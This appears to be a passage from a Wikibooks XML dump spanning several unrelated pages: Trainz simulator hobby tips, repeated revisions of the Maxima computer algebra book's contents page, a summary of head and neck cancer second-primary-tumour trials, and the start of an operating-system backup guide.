: Many assets are required by newly acquired layouts or Driver modules but which aren't readily provided from the same source. Most often, a little diligent web searching can locate a source.  It can be very frustrating when that fails, but an appeal on the website chats will likely find willing help that will email the asset to you, including older asset versions which have not been updated or vice versa; many times a party will adapt things into the newer flavor after a major release. Website chats and fan-sites are active and useful places. 
 
;Run downloaded Driver sessions and/or scenarios
: These have their own special challenges and enjoyments.

;Learn how to correct errors in downloaded assets
: Since most additional items are created by Trainz owners with varying skill levels, they sometimes need to be mended before they will work. This is particularly true of older assets imported into newer versions or vice versa.
:: Some new constructs use features not found in older releases, as the system continues to evolve capabilities and features. 
:: Other times older assets use a data element that has been found to be relatively useless, so has been deleted from updated content.
:: Since the simulator is at its heart, script based, it is highly reconfigurable, and extensible. Like any programming, a version change can require tweaks to the code, of a generally simple nature. This skill involves some programming like knowledge and little commonsense. Many things can be fixed up in a few moments using the edit feature in Content Manager Plus or a simple text editor like windows Notepad.

;Join in discussions on the forums provided by Auran and the Trainz fan-sites
: The forums are an invaluable method of obtaining solutions to problems.

;Join an interest group
: These are an outgrowth of discussions on the forums provided by Auran and the Trainz fan-sites, where a group gets together to co-operatively make a route, usually based on modeling a particular real world railroad during a specific era. As a spin-off benefit, you'll make friends and likely gain a wide range of mentors willing to answer dumb questions.

;Reskin assets
: Apply new textures to existing 3D meshes this is done with a graphics program such as Photoshop, paint.net or GIMP to edit the [[w:Truevision TGA|.tga]]  or [[w:BMP file format |.bmp]] formatted files used in Trainz graphics rendering. The PaintShed program which comes with Trainz can be used to create new skins for existing Paintshed [[w:Polygon mesh|meshes]].

;Get involved in contributing to the Trainz community
: For example by offering help on a forum or acting as a beta tester on a fan-site.

;Learn how to create 3D models 
: Using a graphical modeling program such as [[w:Blender (software)|Blender]] (freeware) or [[w:Gmax|GMAX]]

: While these programs are generally regarded as being difficult to learn, the results can be extremely rewarding.

;Create Driver sessions and/or scenarios
: Creating your own is one thing, creating ones which are of a high enough standard to justify distribution to the general Trainz community in a whole different league. There is a lot of help out there to do so, but the time investment is yours to commit.

;Become more involved in the running of a fan-site
: This may require learning how to use the administration functions of server-based software such as forums and Content Management Systems.

;''Contribute to this Wikibook!''
{{chapter navigation|Introduction|Versions Of Trainz}}
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Maxima is an open-source application that is in the category of computer algebra systems - CAS. However, it is important to recognize that the word &quot;algebra&quot; in this context should not be interpreted in a narrow sense of a mathematical topic of study and application. In the context of Maxima &quot;algebra&quot; should be interpreted in a broader sense of symbolic mathematics including what is conventionally meant by the use of algebra as a mathematical area of study and application.

Maxima is not merely another programming language. It is a primarily an interactive special-purpose computer application for composing and operating on mathematical expressions of various kinds. However, within that special category there is a sense in which it is general-purpose in that there is no emphasis on some particular goal or task such as numerical computations. While Maxima has significant numerical computational features, if the primary area of study or application involves merely &quot;number crunching&quot; then Maxima may or may not be the best choice. In these cases, other open-source software such as Julia, R, Octave, or Python as examples, may be better suited in terms of what is necessary to accomplish the task of interest.

If you are a teacher, student or someone involved in some specific field of mathematical investigation or application, then it is likely that you will find that Maxima is a tool of great interest and applicability.

This book is not intended to be of a tutorial nature on one hand or a comprehensive Maxima user manual on the other hand. It is also not intended to be a reference manual. It is intended to help new and current users get familiar with using Maxima. 

This book shows how to get familiar with using[[w:Maxima (software)| Maxima]]. Maxima can be used for:
* Symbolic mathematics and [[Maxima#Numerical_methods|numerical computations]]
* [[Maxima#Plots|Plotting]] 2D and 3D
* Much more
{{Cleanup}}

== Table of Contents ==
{{Book search}}
{{Print version}}
* [[Maxima/What is Maxima and what is it useful for|What is Maxima and what is it useful for]]
* [[/Methods of use/]]
* [[/Installation/]]
* [[Maxima/Introduction By Example|Introduction By Example]]
* [[Maxima/Getting Started Using Maxima|Getting Started Using Maxima]]
* [[Maxima/Identifiers|Identifiers]]
* [[/Operators/]]
* [[/Names/]]
* [[/Objects/]]
* [[/Variables/]]
* [[/Data types/]]
* [[/Features/|Properties]]
* [[/Numbers/]]
* [[/Functions/]]
* [[/Debugging/]]
* [[/Data structures/]]
* [[/Numerical methods/]]
* [[/Algorithms/]]
* [[/Plots/]]
* [[/Outputs and warnings/]]
* [[/Example programs/]]
* [[Maxima/Weaknesses of math software|Weaknesses of math software]]
* [[/Help/]]

=See also=
* [[commons:Category:Images with Maxima CAS source code|Images with Maxima CAS source code]]
* [https://www.dropbox.com/home/Public/maxima?preview=maxima.lang syntax highlight for Gedit] 
* [https://github.com/KDE/syntax-highlighting/blob/master/data/syntax/maxima.xml syntax highlight for KDE]
* [http://stackoverflow.com/questions/tagged/maxima questions tagged Maxima on stackoverflow]
{{Wikipedia|Maxima (software)}}

=References=
&lt;references/&gt;
[https://arxiv.org/pdf/1301.3240.pdf Chaotic dynamics with Maxima A. Morante and J. A. Vallejo]
{{alphabetical|M}}
{{shelves|Scientific software|Open source software}}
{{status|25%}}

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Maxima is an open-source application that is in the category of computer algebra systems - CAS. However, it is important to recognize that the word &quot;algebra&quot; in this context should not be interpreted in a narrow sense of a mathematical topic of study and application. In the context of Maxima &quot;algebra&quot; should be interpreted in a broader sense of symbolic mathematics including what is conventionally meant by the use of algebra as a mathematical area of study and application.

Maxima is not merely another programming language. It is a primarily an interactive special-purpose computer application for composing and operating on mathematical expressions of various kinds. However, within that special category there is a sense in which it is general-purpose in that there is no emphasis on some particular goal or task such as numerical computations. While Maxima has significant numerical computational features, if the primary area of study or application involves merely &quot;number crunching&quot; then Maxima may or may not be the best choice. In these cases, other open-source software such as Julia, R, Octave, or Python as examples, may be better suited in terms of what is necessary to accomplish the task of interest.

If you are a teacher, student or someone involved in some specific field of mathematical investigation or application, then it is likely that you will find that Maxima is a tool of great interest and applicability.

This book is not intended to be of a tutorial nature on one hand or a comprehensive Maxima user manual on the other hand. It is also not intended to be a reference manual. It is intended to help new and current users get familiar with using Maxima. 

This book shows how to get familiar with using[[w:Maxima (software)| Maxima]]. Maxima can be used for:
* Symbolic mathematics and [[Maxima#Numerical_methods|numerical computations]]
* [[Maxima#Plots|Plotting]] 2D and 3D
* Much more
{{Cleanup}}

== Table of Contents ==
{{Book search}}
{{Print version}}
* [[Maxima/What is Maxima and what is it useful for|What is Maxima and what is it useful for]]
* [[/Methods of use/]]
* [[/Installation/]]
* [[Maxima/Introduction By Example|Introduction By Example]]
* [[Maxima/Getting Started Using Maxima|Getting Started Using Maxima]]
* [[Maxima/Identifiers|Identifiers]]
* [[/Operators/]]
* [[/Names/]]
* [[/Objects/]]
* [[/Variables/]]
* [[/Data types/]]
* [[/Features/|Properties]]
* [[Maxima/Programming|Programming]]
* [[/Numbers/]]
* [[/Functions/]]
* [[/Debugging/]]
* [[/Data structures/]]
* [[/Numerical methods/]]
* [[/Algorithms/]]
* [[/Plots/]]
* [[/Outputs and warnings/]]
* [[/Example programs/]]
* [[Maxima/Weaknesses of math software|Weaknesses of math software]]
* [[/Help/]]

=See also=
* [[commons:Category:Images with Maxima CAS source code|Images with Maxima CAS source code]]
* [https://www.dropbox.com/home/Public/maxima?preview=maxima.lang syntax highlight for Gedit] 
* [https://github.com/KDE/syntax-highlighting/blob/master/data/syntax/maxima.xml syntax highlight for KDE]
* [http://stackoverflow.com/questions/tagged/maxima questions tagged Maxima on stackoverflow]
{{Wikipedia|Maxima (software)}}

=References=
&lt;references/&gt;
[https://arxiv.org/pdf/1301.3240.pdf Chaotic dynamics with Maxima A. Morante and J. A. Vallejo]
{{alphabetical|M}}
{{shelves|Scientific software|Open source software}}
{{status|25%}}

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Maxima is an open-source application that is in the category of computer algebra systems - CAS. However, it is important to recognize that the word &quot;algebra&quot; in this context should not be interpreted in a narrow sense of a mathematical topic of study and application. In the context of Maxima &quot;algebra&quot; should be interpreted in a broader sense of symbolic mathematics including what is conventionally meant by the use of algebra as a mathematical area of study and application.

Maxima is not merely another programming language. It is a primarily an interactive special-purpose computer application for composing and operating on mathematical expressions of various kinds. However, within that special category there is a sense in which it is general-purpose in that there is no emphasis on some particular goal or task such as numerical computations. While Maxima has significant numerical computational features, if the primary area of study or application involves merely &quot;number crunching&quot; then Maxima may or may not be the best choice. In these cases, other open-source software such as Julia, R, Octave, or Python as examples, may be better suited in terms of what is necessary to accomplish the task of interest.

If you are a teacher, student or someone involved in some specific field of mathematical investigation or application, then it is likely that you will find that Maxima is a tool of great interest and applicability.

This book is not intended to be of a tutorial nature on one hand or a comprehensive Maxima user manual on the other hand. It is also not intended to be a reference manual. It is intended to help new and current users get familiar with using Maxima. 

This book shows how to get familiar with using[[w:Maxima (software)| Maxima]]. Maxima can be used for:
* Symbolic mathematics and [[Maxima#Numerical_methods|numerical computations]]
* [[Maxima#Plots|Plotting]] 2D and 3D
* Much more
{{Cleanup}}

== Table of Contents ==
{{Book search}}
{{Print version}}
* [[Maxima/What is Maxima and what is it useful for|What is Maxima and what is it useful for]]
* [[/Methods of use/]]
* [[/Installation/]]
* [[Maxima/Introduction By Example|Introduction By Example]]
* [[Maxima/Getting Started Using Maxima|Getting Started Using Maxima]]
* [[Maxima/Identifiers|Identifiers]]
* [[/Operators/]]
* [[/Objects/]]
* [[/Variables/]]
* [[/Data types/]]
* [[/Features/|Properties]]
* [[Maxima/Programming|Programming]]
* [[/Numbers/]]
* [[/Functions/]]
* [[/Debugging/]]
* [[/Data structures/]]
* [[/Numerical methods/]]
* [[/Algorithms/]]
* [[/Plots/]]
* [[/Outputs and warnings/]]
* [[/Example programs/]]
* [[Maxima/Weaknesses of math software|Weaknesses of math software]]
* [[/Help/]]

=See also=
* [[commons:Category:Images with Maxima CAS source code|Images with Maxima CAS source code]]
* [https://www.dropbox.com/home/Public/maxima?preview=maxima.lang syntax highlight for Gedit] 
* [https://github.com/KDE/syntax-highlighting/blob/master/data/syntax/maxima.xml syntax highlight for KDE]
* [http://stackoverflow.com/questions/tagged/maxima questions tagged Maxima on stackoverflow]
{{Wikipedia|Maxima (software)}}

=References=
&lt;references/&gt;
[https://arxiv.org/pdf/1301.3240.pdf Chaotic dynamics with Maxima A. Morante and J. A. Vallejo]
{{alphabetical|M}}
{{shelves|Scientific software|Open source software}}
{{status|25%}}

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Maxima is an open-source application that is in the category of computer algebra systems - CAS. However, it is important to recognize that the word &quot;algebra&quot; in this context should not be interpreted in a narrow sense of a mathematical topic of study and application. In the context of Maxima &quot;algebra&quot; should be interpreted in a broader sense of symbolic mathematics including what is conventionally meant by the use of algebra as a mathematical area of study and application.

Maxima is not merely another programming language. It is a primarily an interactive special-purpose computer application for composing and operating on mathematical expressions of various kinds. However, within that special category there is a sense in which it is general-purpose in that there is no emphasis on some particular goal or task such as numerical computations. While Maxima has significant numerical computational features, if the primary area of study or application involves merely &quot;number crunching&quot; then Maxima may or may not be the best choice. In these cases, other open-source software such as Julia, R, Octave, or Python as examples, may be better suited in terms of what is necessary to accomplish the task of interest.

If you are a teacher, student or someone involved in some specific field of mathematical investigation or application, then it is likely that you will find that Maxima is a tool of great interest and applicability.

This book is not intended to be of a tutorial nature on one hand or a comprehensive Maxima user manual on the other hand. It is also not intended to be a reference manual. It is intended to help new and current users get familiar with using Maxima. 

This book shows how to get familiar with using[[w:Maxima (software)| Maxima]]. Maxima can be used for:
* Symbolic mathematics and [[Maxima#Numerical_methods|numerical computations]]
* [[Maxima#Plots|Plotting]] 2D and 3D
* Much more
{{Cleanup}}

== Table of Contents ==
{{Book search}}
{{Print version}}
* [[Maxima/What is Maxima and what is it useful for|What is Maxima and what is it useful for]]
* [[/Methods of use/]]
* [[/Installation/]]
* [[Maxima/Introduction By Example|Introduction By Example]]
* [[Maxima/Getting Started Using Maxima|Getting Started Using Maxima]]
* [[Maxima/Identifiers|Identifiers]]
* [[/Operators/]]
* [[/Variables/]]
* [[/Data types/]]
* [[/Features/|Properties]]
* [[Maxima/Programming|Programming]]
* [[/Numbers/]]
* [[/Functions/]]
* [[/Debugging/]]
* [[/Data structures/]]
* [[/Numerical methods/]]
* [[/Algorithms/]]
* [[/Plots/]]
* [[/Outputs and warnings/]]
* [[/Example programs/]]
* [[Maxima/Weaknesses of math software|Weaknesses of math software]]
* [[/Help/]]

=See also=
* [[commons:Category:Images with Maxima CAS source code|Images with Maxima CAS source code]]
* [https://www.dropbox.com/home/Public/maxima?preview=maxima.lang syntax highlight for Gedit] 
* [https://github.com/KDE/syntax-highlighting/blob/master/data/syntax/maxima.xml syntax highlight for KDE]
* [http://stackoverflow.com/questions/tagged/maxima questions tagged Maxima on stackoverflow]
{{Wikipedia|Maxima (software)}}

=References=
&lt;references/&gt;
[https://arxiv.org/pdf/1301.3240.pdf Chaotic dynamics with Maxima A. Morante and J. A. Vallejo]
{{alphabetical|M}}
{{shelves|Scientific software|Open source software}}
{{status|25%}}

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Maxima is an open-source application that is in the category of computer algebra systems - CAS. However, it is important to recognize that the word &quot;algebra&quot; in this context should not be interpreted in a narrow sense of a mathematical topic of study and application. In the context of Maxima &quot;algebra&quot; should be interpreted in a broader sense of symbolic mathematics including what is conventionally meant by the use of algebra as a mathematical area of study and application.

Maxima is not merely another programming language. It is a primarily an interactive special-purpose computer application for composing and operating on mathematical expressions of various kinds. However, within that special category there is a sense in which it is general-purpose in that there is no emphasis on some particular goal or task such as numerical computations. While Maxima has significant numerical computational features, if the primary area of study or application involves merely &quot;number crunching&quot; then Maxima may or may not be the best choice. In these cases, other open-source software such as Julia, R, Octave, or Python as examples, may be better suited in terms of what is necessary to accomplish the task of interest.

If you are a teacher, student or someone involved in some specific field of mathematical investigation or application, then it is likely that you will find that Maxima is a tool of great interest and applicability.

This book is not intended to be of a tutorial nature on one hand or a comprehensive Maxima user manual on the other hand. It is also not intended to be a reference manual. It is intended to help new and current users get familiar with using Maxima. 

This book shows how to get familiar with using[[w:Maxima (software)| Maxima]]. Maxima can be used for:
* Symbolic mathematics and [[Maxima#Numerical_methods|numerical computations]]
* [[Maxima#Plots|Plotting]] 2D and 3D
* Much more
{{Cleanup}}

== Table of Contents ==
{{Book search}}
{{Print version}}
* [[Maxima/What is Maxima and what is it useful for|What is Maxima and what is it useful for]]
* [[/Methods of use/]]
* [[/Installation/]]
* [[Maxima/Introduction By Example|Introduction By Example]]
* [[Maxima/Getting Started Using Maxima|Getting Started Using Maxima]]
* [[Maxima/Identifiers|Identifiers]]
* [[/Operators/]]
* [[/Data types/]]
* [[/Features/|Properties]]
* [[Maxima/Programming|Programming]]
* [[/Numbers/]]
* [[/Functions/]]
* [[/Debugging/]]
* [[/Data structures/]]
* [[/Numerical methods/]]
* [[/Algorithms/]]
* [[/Plots/]]
* [[/Outputs and warnings/]]
* [[/Example programs/]]
* [[Maxima/Weaknesses of math software|Weaknesses of math software]]
* [[/Help/]]

=See also=
* [[commons:Category:Images with Maxima CAS source code|Images with Maxima CAS source code]]
* [https://www.dropbox.com/home/Public/maxima?preview=maxima.lang syntax highlight for Gedit] 
* [https://github.com/KDE/syntax-highlighting/blob/master/data/syntax/maxima.xml syntax highlight for KDE]
* [http://stackoverflow.com/questions/tagged/maxima questions tagged Maxima on stackoverflow]
{{Wikipedia|Maxima (software)}}

=References=
&lt;references/&gt;
[https://arxiv.org/pdf/1301.3240.pdf Chaotic dynamics with Maxima A. Morante and J. A. Vallejo]
{{alphabetical|M}}
{{shelves|Scientific software|Open source software}}
{{status|25%}}

[[pl:Maxima]]
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  <page>
    <title>Radiation Oncology/Head &amp; Neck/Second Primary</title>
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&lt;big&gt;'''Second Primary Tumors in Head &amp; Neck'''&lt;/big&gt;


==Overview==
*Second primary tumors are a major source of morbidity and mortality, particularly for patients who have been effectively treated for early stage HNSCC
*The risk of developing a second primary is ~5%/year. Majority occur in H&amp;N, esophagus, or lung; lung is the most common site (31%), followed by oral cavity (17%)
*Continued smoking increases both risk of second primary tumor (HR 1.6) and death (HR 2.5) over that of former smokers (HR 1.3 and 1.6) compared with non-smokers. This is a rationale to promote smoking cessation
*Concurrent treatment with chemotherapy doesn't appear to change risk of second cancers
*A high-dose isotretinoin given for 1 year decreased the risk of second primary in Stage I-IV patients in a randomized trial; however, tolerance was poor with 70% patients requiring dose reduction
*A French trial, using a second generation retinoic acid etretinate did not show any benefit. An Italian and Australian trial using isotretinoin also did not show any benefit
*Finally, a tolerable low-dose isotretinoin given for 3 years to early stage patients in a large Intergroup trial did not decrease risk of second primary tumors or death


*'''Colorado-SEER; 2008''' {{PMID|18078720}} -- &quot;Use of external beam radiotherapy is associated with reduced incidence of second primary head and neck cancer: a SEER database analysis.&quot; (Rusthoven KE, Int J Radiat Oncol Biol Phys. 2008 May 1;71(1):192-8.)
**Analysis of 27,985 patients with early stage HNCA entered into SEER database between 1973 and 1997
**Patients treated with RT had significantly reduced incidence of second HNCa (15yr incidence 7.7% vs 10.5%)
**On multivariate analysis, pts with primary tumors of the pharynx (p&lt;0.001) and larynx (p=0.04) had significant reduction in second primary HNCA with RT
*'''Memorial Sloan Kettering; 2005''' (1986–1995) {{PMID|16265657}}, 2005 (1984–98) &amp;mdash; &quot;Second primary malignancy of the aerodigestive tract in patients treated for cancer of the oral cavity and larynx.&quot; (Lin K et al. Head Neck. 2005 Dec;27(12):1042-8. )
**Retospective. 1257 patients with oral cavity (n=595) and larynx (n=662). Endpoint development of second primary (H&amp;N, esophagus, or lung)
**Outcome: 5-year rate larynx 8%, oral cavity 10%. Larynx most common 2nd primary was lung, oral cavity was another H&amp;N.
**Predictors: Smokers 5x increased risk, EtOH 2x increased risk
**Conclusion: Rates comparable, patterns different. Smoking and EtOH independent risk factors
*'''SAKK 10/94; 2005''' {{PMID|15936546}} -- &quot;Risk factors for developing a second upper aerodigestive cancer after radiotherapy with or without chemotherapy in patients with head-and-neck cancers: An exploratory outcomes analysis.&quot; (Taussky D, Int J Radiat Oncol Biol Phys. 2005)
**Analysis of Swiss SAKK 10/94 trial (RT +/- cisplatin). 521 patients. Median F/U 4.7 years
**Second primary tumors: No difference as a function of getting chemotherapy, age, PS, gender, T-stage, or N-stage. Concomitant boost fewer SPTs
**Conclusion: Addition of chemotherapy doesn't influence incidence of second cancers
*'''MDACC; 1989''' {{PMID|2674075}} -- &quot;Multiple primary cancer in patients with cancer of the head and neck: second cancer of the head and neck, esophagus, and lung.&quot; (Licciardello JT, Int J Radiat Oncol Biol Phys. 1989 Sep;17(3):467-76.)
*'''RTOG Registry (76-19)''' (1977–1980)
**'''1989''' {{PMID|2674073}} -- &quot;Second malignancies in patients who have head and neck cancer: incidence, effect on survival and implications based on the RTOG experience.&quot; (Cooper JS, Int J Radiat Oncol Biol Phys. 1989 Sep;17(3):449-56.)
***Prospective registry of H&amp;N patients seen by RTOG. 928 HNSCC treated with RT only
***Second tumor risk: 3-years 10%, 5-years 15%, 8-years 23%; most occurred in patients with small primaries due to their longer survival
*'''MD Anderson; 1989''' {{PMID|2674081}} -- &quot;Second malignant tumors in head and neck squamous cell carcinoma: the overshadowing threat for patients with early-stage disease.&quot; (Lippman SM, Int J Radiat Oncol Biol Phys. 1989 Sep;17(3):691-4.)

==Prevention Trials==
*'''Quebec''' (1994–2000) -- alpha tocopherol/beta-carotene vs placebo
**Randomized. 540 patients, Stage I-II HNC, treated with RT. Arm 1) alpha-tocopherol 400 IU/day and beta-carotene 30&amp;nbsp;mg/day (''beta-carotene discontinued after 156 patients due to ethical concerns'') x3 years vs Arm 2) placebo.
**'''2005''' {{PMID|15812073}} -- &quot;A randomized trial of antioxidant vitamins to prevent second primary cancers in head and neck cancer patients.&quot; (Bairati I, J Natl Cancer Inst. 2005 Apr 6;97(7):481-8.) Median F/U 4.3 years
***Outcome: 2nd primary supplement 23% vs. placebo 19%. During supplementation, higher rate of 2nd primary than placebo (HR 2.9, SS), which lowered after supplementation was discontinued
***Conclusion: Alpha-tocopherol produced unexpected higher occurrence of second primary cancer
**'''Weight loss; 2010''' {{PMID|20187097}} -- &quot;Predictors of weight loss during radiotherapy in patients with stage I or II head and neck cancer.&quot; (Nourissat A, Cancer. 2010 Feb 24. [Epub ahead of print])
***Patients weighed before and after RT. Mean weight loss 2.2&amp;nbsp;kg (SD 3.4&amp;nbsp;kg). Baseline characteristics assessed
***Outcome: Predictors for weight loss: non-glottic site, higher baseline weight, Stage II disease (vs Stage I), baseline dysphagia/odynophagia, lower KPS. No association with diet
***Conclusion: Predictors for weight loss identified
*'''Italian Head and Neck Chemoprevention Study Group''' 2004 (1992–1996) -- low-dose isotretinoin
**Randomized. 267 patients. Radically treated Stage III-IV HNSCC. Arm 1) placebo vs. Arm 2) isotretinoin 0.5&amp;nbsp;mg/kg vs. Arm 3) isotretinoin + Interferon alpha-2a (''only 15 patients assigned due to financial problems'') x1 year
**'''2004''' {{PMID|15138569}} &amp;mdash; &quot;13-cis retinoic acid in head and neck cancer chemoprevention: results of a randomized trial from the Italian Head and Neck Chemoprevention Study Group.&quot; (Toma S, Oncol Rep. 2004 Jun;11(6):1297-305.) Mean F/U 3.2 years
***Outcome: 5-year OS isotretinoin 59% vs. placebo 57% (NS); RFS 49% vs. 56% (NS)
***Toxicity: Grade III-IV in 4%, Grade I-II 69%
***Conclusion: Low-dose isotretinoin ineffective at chemoprevention
*'''Retinoid Head and Neck Second Primary Trial (INT/RTOG 91-15)''' (1991–1999) -- low dose isotretinoin
**Randomized. 1190 patients, treated, with Stage I-II HNSCC (oral cavity, larynx, pharynx), disease-free at least 4 months. Arm 1) low-dose isotretinoin (30&amp;nbsp;mg/day) vs. Arm 2) placebo x3 years
**'''Smoking; 2001''' {{PMID|11489748}} -- &quot;The impact of smoking status, disease stage, and index tumor site on second primary tumor incidence and tumor recurrence in the head and neck retinoid chemoprevention trial.&quot; (Khuri FR, Cancer Epidemiol Biomarkers Prev. 2001 Aug;10(8):823-9.)
***Outcome: second primary tumor rate 5.1%/year; active smoker 5.7% vs. never smoker 3.5% (p=0.05); Stage I 4.3% vs. Stage II 6.4% (SS)
***Conclusion: Significantly higher second primary tumor rate in active smokers, intermediate rate for former smokers compared with never smokers
**'''6-years; 2006''' {{PMID|16595780}} -- &quot;Randomized phase III trial of low-dose isotretinoin for prevention of second primary tumors in stage I and II head and neck cancer patients.&quot; (Khuri FR, J Natl Cancer Inst. 2006 Apr 5;98(7):441-50.) Median F/U 6 years
***Outcome: Second primary tumors rate 4.6%/year in both arms (NS); no difference in primary tumor–free survival, RFS, smoking-associated DFS, and OS 
***Predictors: second cancers 261 (22%); current smokers (HR 1.64, SS) more risk than former smokers (HR 1.32, SS) compared with non-smokers. Risk of death current smokers 2.51 vs. former smokers 1.60
***Sites of 2nd tumors: lung (31%), oral cavity (17%), larynx (8%), pharynx (5%)
***Conclusion: Low-dose isotretinoin not effective at reducing second primary tumors
*'''France''' -- etretinate
**Randomized. 316 patients, SCHNN T1-2N0-1 &lt;=3&amp;nbsp;cm. Arm 1) etretinate 25&amp;nbsp;mg/day vs. Arm 2) placebo x2 years
**'''5-years; 1994''' {{PMID|7917535}} -- &quot;Prevention of second primary tumours with etretinate in squamous cell carcinoma of the oral cavity and oropharynx. Results of a multicentric double-blind randomised study.&quot; (Bolla M, Eur J Cancer. 1994;30A(6):767-72.) Median F/U 3.4 years
***Outcome: second primary tumor 18% (NS). No difference on LR or DM rate. 5-year OS and DFS no difference
***Toxicity: discontinued in etretinate 33% vs. placebo 23% (SS)
***Conclusion: Etretinate does not prevent second primary tumors
*'''Queensland''' (Australia) -- high-dose or low-dose isotretinoin
**Randomized. ''Trial stopped early by sponsor after early analysis showed no benefit.'' 151 patients. T1-4N0-2 HNSCC. Arm 1) high-dose isotretinoin 1&amp;nbsp;mg/kg x1 year, then low-dose isotretinoin 0.5&amp;nbsp;mg/kg x2 years vs. Arm 2) low-dose isotretinoin x3 years vs. Arm 3) placebo x3 years. 67% did not complete therapy (~1/3 in high-dose due to side effects)
**'''2005''' {{PMID|15781758}} -- &quot;Chemoprevention of head and neck cancer with retinoids: a negative result.&quot; (Perry CF, Arch Otolaryngol Head Neck Surg. 2005 Mar;131(3):198-203.)
***Outcome: Second primary cancer high-dose 9% vs. low-dose 17% vs. placebo 14% (NS); no difference in DFS, RFS, or OS
***Toxicity: No difference between groups
***Conclusion: Use of isotretinoin not indicated for prophylaxis
*'''MD Anderson''' -- high-dose isotretinoin
**Randomized. 103 patients, treated Stage I-IV HNSCC. Arm 1) high dose isotretinoin 50–100&amp;nbsp;mg/m2 vs Arm 2) placebo x1 year.
**'''3-years; 1990''' {{PMID|2202902}} &amp;mdash; &quot;Prevention of second primary tumors with isotretinoin in squamous-cell carcinoma of the head and neck.&quot; (Hong WK, N Engl J Med. 1990 Sep 20;323(12):795-801.) Median F/U 2.7 years 
***Outcome: second primary tumors isotretinoin 4% vs. placebo 24% (SS). 93% tumors in H&amp;N, esophagus, or lung. No difference in local, distant, or regional recurrence of primary tumor.
***Conclusion: High dose isotretinoin effective in prevention of second primary
**'''5-years; 1994''' {{PMID|8271298}} -- &quot;Prevention of second primary tumors with isotretinoin in patients with squamous cell carcinoma of the head and neck: long-term follow-up.&quot; (Benner SE,  J Natl Cancer Inst. 1994 Jan 19;86(2):140-1.) Median F/U 4.5 years
***Outcome: second primary tumors isotretinoin 14% vs. placebo 31% (SS); but impact diminishes with time. By 8 years, estimated rates of 19% vs. 44%. No patients developed second primary tumor while on drug
***Toxicity: 70% required dose reduction, 25% stopped
***No difference in OS.  No impact on behavior of primary tumor.</text>
      <sha1>05nttv9f9a9kvjoi1sry3omcimy7coe</sha1>
    </revision>
  </page>
  <page>
    <title>How To Back Up Operating Systems</title>
    <ns>0</ns>
    <id>159033</id>
    <revision>
      <id>4670464</id>
      <parentid>4242087</parentid>
      <timestamp>2026-09-16T16:42:28Z</timestamp>
      <contributor>
        <username>R. Henrik Nilsson</username>
        <id>3395618</id>
      </contributor>
      <minor />
      <comment>formated &gt; formatted</comment>
      <origin>4670464</origin>
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      <format>text/x-wiki</format>
      <text bytes="77918" sha1="opc7tbh7a6s0ko939zrrsq5si11x30f" xml:space="preserve">This is a step-by-step guide for backing up and restoring the operating system(s) installed on your PC (Linux, Windows, etc).  Specifically, it describes how to back up and restore hard drive partitions and MBR boot code using free tools and discusses backup and restoration procedures and scenarios.  Backup and restoration take about 10 minutes each.

==Frequently Asked Questions==

===Why Is This Useful?===

Uses and benefits include:

* After a system upgrade or other 'surgery' gone wrong, you can roll the system back to its exact previous state.
* If after a time your system performance degrades, you can roll the system back to its 'fresh install' state without having to reinstall.
* If you are busy working on your computer and your system develops problems, instead of taking the time to research and fix them, you can restore your system in minutes and get back to work.
* If you aren't sure if a new problem is hardware or software related, you can roll the system software back to when you know it worked.  If the problem remains, it is a good indication of a hardware problem.
* Your system is infected with a virus.  Restoring from backup is a quick and thorough fix, equivalent to formatting your entire hard drive and tediously reinstalling everything from scratch (in 10 minutes).
* You maintain a system in a public place.  Instead of being worried that someone may 'mess up' the system, you know you can restore it in minutes.
* Store your backup on a CD/DVD, external drive, or on a network share, and in the event of a hard drive failure, you can purchase a new hard drive and simply restore the partitions from backups.
* During install of an OS, you can make backups at several stages.  For example, you may make a backup before installing a video driver.  If you have problems with the driver, instead of trying to cleanly remove it and try again, you can roll the system back, confident that it is 'clean' for the next driver test.
* Having an MBR backup means that MBR damage or overwrite can be easily corrected.
* You can test a new version of your OS.  If it doesn't perform to your expectations, you can have your old system back in minutes.
* Your backup tools do not rely on any commercial products or any operating system installed on your computer.

In short, this is a relatively easy procedure well worth taking the time to learn!  Mastering this technique takes most of the fear out of system changes - you know how to press the 'rewind' button on everything you do, and the rewind button works reliably and quickly.


===What Operating Systems Can Be Backed Up?===

What OS(es) you're running doesn't matter.  The only limitations are the filesystems being used and the amount of data involved.  Most Linux and Windows systems are supported for backup.  While some of the tools in this guide are available for use on Macs, this guide does not cover Mac backups specifically.

This guide supports the following filesystems (at least): ext2/3/4, reiserfs, reiser4, btrfs, xfs, jfs, vfat, fat16/32, ntfs, iso9660.  Note that encrypted partitions cannot be backed up using the methods in this guide.

The second issue is the amount of data on the hard drive partition to be backed up.  While there is no general limit on the size of the partition involved, it is most practical to back up a system which has separate partitions for the operating system(s) and the user data.  This keeps the size of the backup practical.  This means that if your hard drive has a single, huge partition containing the OS as well as the user data (movies, music files, documents, etc), then it will be difficult to back up this system due to the size of the backup, and in some cases the lack of a place to store the backup (which cannot be stored on the partition being backed up).  In this case, consider repartitioning your hard drive so that your OS with installed software is stored on its own partition, separate from your user data files.  (Repartitioning your hard drive is outside the scope of this guide and is not described here.)

===Who Can Use This Guide?===

This guide is primarily intended for Linux users who maintain multi-OS systems.  Some basic knowledge of how Linux refers to and mounts partitions, and the ability to enter a few console commands carefully will be helpful, because this guide uses several Linux tools to accomplish the tasks.  The ability to burn a CD from an ISO image will also be required.  If you don't already have this knowledge, a little extra homework may be required to use this guide successfully.

==The Tools For The Job==

This guide will use the following tools:

* [http://www.sysresccd.org/ SystemRescueCD] - a free, slim, live Linux CD which includes the Partimage and FSArchiver programs, and other useful system tools.  This is the system you will run to back up and maintain the other systems on your computer.

* The Partimage program - free software that can easily copy a partition's contents into a single, compressed 'partition image file', and can also restore a partition's contents using such a file.  http://www.partimage.org/

* The FSArchiver program - a new program still in development which adds functionality not included in Partimage (such as ext4 support).  http://www.fsarchiver.org

* A [http://en.wikibooks.org/w/index.php?title=Special:Book&amp;bookcmd=render_article&amp;arttitle=How+To+Backup+Operating+Systems&amp;writer=rl printed copy of this guide] is also helpful.

===Getting SystemRescueCD===

Step one is to make yourself a copy of the SystemRescueCD.  This CD may be downloaded as an iso file from http://www.sysresccd.org/Download.  After downloading the iso file, it is suggested that you check its integrity using md5sum.  For example, on a Linux system you can generally do this by entering:

&lt;pre&gt;md5sum systemrescuecd-x86-1.3.5.iso&lt;/pre&gt;

and compare the output with the md5sum published on the download page.

Finally, burn a copy of the CD using your CD burning software, and if possible have this software verify the integrity of the burn.  

